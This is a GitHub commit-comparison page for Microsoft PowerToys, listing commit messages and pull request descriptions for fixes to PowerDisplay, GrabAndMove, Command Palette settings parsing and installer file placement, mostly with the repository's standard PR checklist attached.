Compare commits

..

319 Commits

Author SHA1 Message Date
Muyuan Li (from Dev Box)
f9679b937d Address review: handle NavigationFailed gracefully without rethrowing
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-05-14 16:20:42 +08:00
copilot-swe-agent[bot]
36300d3c75 Fix NullReferenceException in Frame_NavigationFailed when e.Exception is null
Agent-Logs-Url: https://github.com/microsoft/PowerToys/sessions/af982aa1-504b-47f1-9ec0-93b29602b2af

Co-authored-by: MuyuanMS <116717757+MuyuanMS@users.noreply.github.com>
2026-04-29 08:49:32 +00:00
copilot-swe-agent[bot]
1cde68ae04 Initial plan 2026-04-29 08:48:31 +00:00
moooyo
e6d346a59b [PowerDisplay] Default-off and confirm dialog for InputSource/ColorTemp/PowerState (#47303)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Three per-monitor PowerDisplay features have failure modes recoverable
only via physical buttons:

Input Source — switching to an input with no signal goes black;
PowerToys can no longer drive a panel that isn't displaying its own
signal
Color Temperature — some monitors apply changes that cannot be reset via
DDC/CI; OSD reset required
Power State — VCP 0xD6 standby may not respond to subsequent DDC/CI wake
commands
This PR:

Defaults all three features off for newly-discovered monitors. Supports*
derivation from VCP capabilities is unchanged — unsupported checkboxes
are still greyed out.
Pops a confirmation dialog when a user toggles any of them on in
Settings, mirroring the existing Color Temperature warning. Cancel
reverts the checkbox; Enable keeps it.
Refactors the existing Color Temperature click handler into a shared
HandleDangerousFeatureClickAsync(sender, resourceKeyPrefix, setter)
helper. All three feature handlers now reuse it.
Renames PowerDisplay_ColorTemperature_EnableButton →
PowerDisplay_Dialog_Enable so the three dialogs share one button-text
resource (paralleling the existing shared PowerDisplay_Dialog_Cancel)

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-29 13:35:12 +08:00
moooyo
2aece74831 [PowerDisplay] Use localized "Built-in Display" name for internal display (#47321)
Set all WMI monitor's name to "Built-in Display" to avoid confusing.

related discussion: #47255

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-04-29 13:34:34 +08:00
Alex Mihaiuc
7861bc408c Replay both key down and up for Win in GrabAndMove (#47326)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The code for keyup on the `Win` key would replay the previously absorbed
keydown event and just leave this keyup to propagate normally, thus
leading to a race condition between `CallNextHookEx` and `SendInput`.
This resulted in almost guaranteed out-of-order event (`Win` up,
followed by `Win` down) in the case of `Win+G` (the Xbox Game bar
shortcut).

Fixed by also absorbing the keyup for `Win`, but calling `SendInput` for
both keydown and keyup.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47293 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-29 12:04:20 +08:00
Mike Griese
b835cde4d2 CmdPal: Fix a bug where dock label settings wouldn't save (#47317)
This setting is totally vestigial, from the 0.9 dev cycle. 

Unfortunately, the JSON parser would see that it wasn't in the
settings.json, then it would write `null` to it. But `ShowLabels` was
just a thin alias for `ShowTitles`, so we'd end up parsing totally sane
JSON settings into having `null` for `ShowTitle`.

This fixes that. You can hide your titles again folks.
2026-04-29 11:12:43 +08:00
Alex Mihaiuc
f79df0663c Skip desktop / explorer targets in GrabAndMove (#47302)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Added a few known Windows processes and window classes from desktop
elements to the implicit exclusion list, to avoid funny repositioning of
otherwise immovable content:

- The Windows Start menu.
- Tooltips from around the Notification Area (System Tray).
- The Alt-Tab and Win-Tab windows.
- Tooltips.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Copilot <copilot@github.com>
2026-04-29 11:05:54 +08:00
Mike Griese
7211f7ed67 cmdpal: fix our settings load crash (#47296)
Fixes a category of crashes in CmdPal, related to our settings parsing. 

It would seem that I don't understand JSON parsing all that well in C#. 

Basically, we've got a bunch of places where we have
 
```c#
class Foo
{
  public Bar MySetting {get;init;} = new()
}
```

but when we JSON deserialize the settings, if there wasn't a
`"MySetting"` key, then the deserializer deserializes to `null`, not
`new()`. but since `Foo.MySetting` isn't a `Bar?`, then the compiler
can't check the fact that json _gets special rules to write a null to
it????_

Closes #47249

tested with the settings.json from that thread.
2026-04-28 12:24:27 -05:00
Alex Mihaiuc
215dfaf236 GrabAndMove release Alt key on other keypresses (#47261)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
When the Alt modifier is already pressed, "release" it on any other
interaction but the allowed mouse interactions.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47257 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
I ensured that pressing something like Shift, Ctrl, or even a character
key - besides Tab, of course, properly resets the internal state of Alt.
The win key was never affected by this behavior.

Co-authored-by: Copilot <copilot@github.com>
2026-04-28 17:40:00 +02:00
moooyo
f5a294bb66 [PowerDisplay] Add more log for PowerDisplay (#47270)
Users have reported missing monitors but the existing logs lack the
information needed to diagnose. Add discovery-phase logs that record the
raw MCCS capabilities string from the monitor, the parsed feature
support flags (brightness/contrast/color temperature/volume), the
specific reason a monitor is ignored, and DDC/CI API failures.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-28 10:09:07 +00:00
Niels Laute
d10203b8ac Update README for PowerToys v0.99.0 release (#47227)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-28 14:01:18 +08:00
Niels Laute
fecd2e72a7 Handle DockSize enum changes (#47212)
### ⚠️ REVIEWERS TO DECIDE. MERGE THIS PR OR GO FOR: #47214⚠️

### Root cause

PR #46699 (compact mode) replaced the original `DockSize` enum
(`Small`/`Medium`/`Large`) with a new one (Default/Compact). Existing
users have `DockSize`: `Small` (or `Medium`/`Large`) in their
`settings.json`, which the source-generated EnumConverter can't parse →
the entire settings file fails to load.

### Fix

Added a custom `JsonConverter<DockSize>` in
_src/modules/cmdpal/Microsoft.CmdPal.UI.ViewModels/Settings/DockSettings.cs_
and applied it via `[JsonConverter]` on the enum.

The converter:

- Accepts current values (`Default`, `Compact`) — case-insensitive.
- Maps any unknown legacy string (e.g. `Small`/`Medium`/`Large`) to
`DockSize.Default`, preserving the user's existing visual experience.
- Tolerates numeric values too, falling back to `Default` if out of
range.
- Writes as a string so output stays consistent with the source-gen
`UseStringEnumConverter` setting.
2026-04-26 06:35:47 -05:00
Niels Laute
fde1599f7d [Grab And Move] Add touchpad compatibility InfoBar to settings page (#47213)
## Summary

Adds an informational InfoBar at the top of the Grab And Move settings
page noting that the utility may not work with some touchpads and is
intended to be used with a physical mouse device.

<img width="1180" height="460" alt="image"
src="https://github.com/user-attachments/assets/4999d2f5-c785-41ab-b5fc-9dd8b7e72c7d"
/>


## Changes

- `src/settings-ui/Settings.UI/SettingsXAML/Views/GrabAndMovePage.xaml`
— new `InfoBar` (Severity=Informational, IsClosable=False) placed at the
top of the page's `StackPanel`.
- `src/settings-ui/Settings.UI/Strings/en-us/Resources.resw` — added two
resource strings:
  - `GrabAndMove_TouchpadInfoBar.Title` — "Touchpad compatibility"
  - `GrabAndMove_TouchpadInfoBar.Message` — explanatory text.

Follows the existing InfoBar pattern (e.g., `MouseUtilsPage.xaml`).

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-25 21:25:10 +02:00
Alex Mihaiuc
c68003c678 Avoid MessageBox in ZoomIt in PowerToys (#47215)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This stops the ZoomIt message boxes complaining about keyboard shortcut
conflicts - such conflicts are handled by the PowerToys settings window.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47154
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Setting any ZoomIt shortcut to the same sequence as other shortcuts
won't produce the MessageBox anymore.

The easiest is to use the default shortcuts and to bind the last one,
**Panorama activation** to `Ctrl+7` (instead of the default `Ctrl+8`).
`Ctrl+7` clashes with the ZoomIt **DemoType activation** shortcut. To
make the MessageBox pop-out before the fix, takes pressing a few
`Ctrl+1`s (the default **Zoom activation**).

---------

Co-authored-by: Copilot <copilot@github.com>
2026-04-25 21:23:21 +02:00
Boliang Zhang
e5b0667397 Fix: Install CommandPalette.Extensions.winmd to WinUI3Apps for COM marshalling (#47210)
## Summary

Follow-up fix for #47177. Installs `CommandPalette.Extensions.winmd` to
the `WinUI3Apps\` directory (ExternalLocation) instead of the root
install folder.

## Problem

PR #47177 moved the sparse package's `ExternalLocation` from root to
`WinUI3Apps\`, but the `CommandPalette.Extensions.winmd` was still
installed to root via `DirectoryRef=INSTALLFOLDER`. The WinRT runtime
needs this winmd in the ExternalLocation directory for COM proxy/stub
creation during cross-process CmdPal extension activation. Without it,
`CoCreateInstance` returns `E_NOINTERFACE` and the PowerToys extension
fails to load in Command Palette.

## Fix

Split the `BaseApplications.wxs` `DirectoryRef` into two blocks:
- **winmd component** -> `WinUI3AppsInstallFolder` (for WinRT COM
marshalling)
- **auto-generated components** -> `INSTALLFOLDER` (unchanged, avoids
ICE30 conflict with `WinUI3ApplicationsFiles`)

## Validation

- [x] Local WiX compilation: no ICE30 errors
- [x] ADO CI build 145429943 (v0.99.1): passed
- [x] Manual verification on 25H2: CmdPal loads 55 commands after winmd
placed in WinUI3Apps

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-25 15:22:49 +00:00
Boliang Zhang
8536d7b1cd Fix MSIX sparse package DACL contamination breaking File Explorer preview handlers (#47177)
## Summary

Moves the MSIX sparse package's `ExternalLocation` from the PowerToys
root install folder to the `WinUI3Apps\` subfolder, isolating DACL
contamination from preview handler DLLs.

## Problem

On Windows 23H2/24H2/25H2, MSIX sparse package registration adds
AppContainer SIDs (`S-1-15-2-*` / `S-1-15-3-*`) to the DACL of the
`ExternalLocation` folder. Since `ExternalLocation` pointed to the
PowerToys root install folder, this broke File Explorer preview handlers
— `prevhost.exe` (running at LOW integrity) could no longer load preview
handler DLLs (`.txt`, `.md`, `.pdf`, `.svg`, etc.).

## Fix

- **`CustomAction.cpp`**: Changed `ExternalLocation` from
`installFolderPath` → `installFolderPath + L"WinUI3Apps\\"`
- **`AppxManifest.xml`**: Removed unused PowerOCR `<Application>` entry;
stripped `WinUI3Apps\` prefix from `Executable` paths (now relative to
new ExternalLocation)
- **`CmdPal.Ext.PowerToys.csproj`**: Moved `OutputPath` to `WinUI3Apps\`
so the AOT-compiled extension EXE resolves correctly under the new
ExternalLocation
- **WiX installer files**: Updated source/install paths for KBM assets,
CmdPal satellite assemblies, and `CommandPalette.Extensions.winmd` that
moved with the CmdPal output
- **ESRP signing**: Updated CmdPal dll/exe paths to include
`WinUI3Apps\` prefix

## Validation

| Test | 25H2 | 23H2 |
|------|------|------|
| DACL isolation (no S-1-15-* on root) |  |  |
| Preview handlers (.txt, .md, .pdf, .svg) |  |  |
| Peek |  |  |
| Context menus (PowerRename, FileLocksmith, ImageResizer, New+) |  | 
|
| Upgrade path (old → new) |  |  |

## Files changed (12)

- `installer/PowerToysSetupCustomActionsVNext/CustomAction.cpp` — core
fix
- `src/PackageIdentity/AppxManifest.xml` — manifest cleanup
-
`src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.PowerToys/Microsoft.CmdPal.Ext.PowerToys.csproj`
— output path
-
`src/modules/cmdpal/ext/Microsoft.CmdPal.Ext.PowerToys/Helpers/PowerToysResourcesHelper.cs`
— icon path
- `installer/PowerToysSetupVNext/BaseApplications.wxs` — winmd source
path
- `installer/PowerToysSetupVNext/KeyboardManager.wxs` — KBM assets path
- `installer/PowerToysSetupVNext/Resources.wxs` — CmdPal satellite paths
- `installer/PowerToysSetupVNext/generateAllFileComponents.ps1` — scan
path
- `.pipelines/ESRPSigning_core.json` — signing paths
- `src/PackageIdentity/BuildSparsePackage.ps1` — dev script hint
- `src/PackageIdentity/readme.md` — docs
- `doc/devdocs/modules/cmdpal/powertoys-extension-local-development.md`
— docs

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-24 22:37:59 +08:00
Niels Laute
7ac16118c8 Settings UX tweaks (#47197)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request


Before:
<img width="779" height="333" alt="image"
src="https://github.com/user-attachments/assets/92f7346f-11a3-4407-b26e-efc8196be59c"
/>

After:
<img width="766" height="268" alt="image"
src="https://github.com/user-attachments/assets/3d12676b-a245-4b53-8078-abcef4efbdab"
/>


Before:
<img width="766" height="310" alt="image"
src="https://github.com/user-attachments/assets/09e436da-317c-46e1-92c0-2c3200908b28"
/>


After:
<img width="772" height="175" alt="image"
src="https://github.com/user-attachments/assets/9f1024e5-0451-4577-b31f-366cde61d21c"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-24 22:32:19 +08:00
Niels Laute
7508e6e794 Add CmdPal folder to installer (#47196)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-24 22:31:45 +08:00
Niels Laute
2d9dfff444 Fix for mouse jump crash (#47198)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-04-24 22:31:16 +08:00
Muyuan Li
9de2e5298a [GrabAndMove] excluded apps example text should use 'outlook' instead of 'outlook.exe' (#47194)
PR changes example text to outlook instead of outlook.exe, which can
match both old version and new version.

The placeholder text suggested 'outlook.exe', but new Outlook runs as
olk.exe so the .exe-based entry fails both path and title matching.
Using 'outlook' (without .exe) works correctly via window title
matching.

Fixes #47103

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #47103
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

